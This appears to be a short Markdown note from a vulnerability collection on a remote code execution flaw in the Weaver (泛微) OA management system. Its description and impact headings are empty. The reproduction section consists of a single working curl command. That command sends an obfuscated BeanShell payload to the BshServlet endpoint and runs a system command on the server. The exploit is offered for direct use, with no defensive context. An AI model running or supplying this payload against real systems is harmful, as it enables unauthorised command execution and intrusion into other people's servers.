003-泛微OA 管理系统RCE漏洞.md

273 B / 2021-07-17 00:01:22

    # 泛微OA 管理系统RCE漏洞

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程


```bash
curl http://url:8000/weaver/bsh.servlet.BshServlet -d 'bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'
```